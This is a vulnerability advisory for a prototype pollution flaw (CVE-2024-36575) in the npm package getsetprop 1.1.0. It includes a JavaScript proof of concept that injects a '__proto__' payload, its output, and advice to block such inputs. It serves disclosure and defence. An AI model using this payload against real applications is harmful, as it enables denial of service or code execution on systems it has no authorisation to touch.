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[CVE-2024-36575] Prototype Pollution vulnerability affecting getsetprop@1.1.0

Overview

The vulnerability located at global.accessor (getsetprop/index.js:4) as the property of the source unsafely assigned to the destination. An attacker can be exploit this method to inject malicious payload via built-in Object through the special properties __proto__ or constructor.prototype. Thus, the attacker can use one of these properties to pollute the application logic that can be escalated to Denial of service, remote code execution or cross-site scripting attacks.

PoC

(async () => {
  const lib = await import('getsetprop');
var BAD_JSON = JSON.parse('{"__proto__":{"polluted":true}}');
var victim = {}
console.log("Before Attack: ", JSON.stringify(victim.__proto__));
try {
  lib.default.set ({}, BAD_JSON)
} catch (e) { }
console.log("After Attack: ", JSON.stringify(victim.__proto__));
delete Object.prototype.polluted;
})();

Output:

Before Attack:  {}
After Attack:  {"polluted":true}

Output of a successful fix:

Before Attack:  {}
After Attack:  {}

How to prevent:

No updates were provided by the maintainer. Users of this module are urged to implement proper santization and validation over user's supplied inputs, such as blocking inputs containing __proto__ and contructor.prototype

References:

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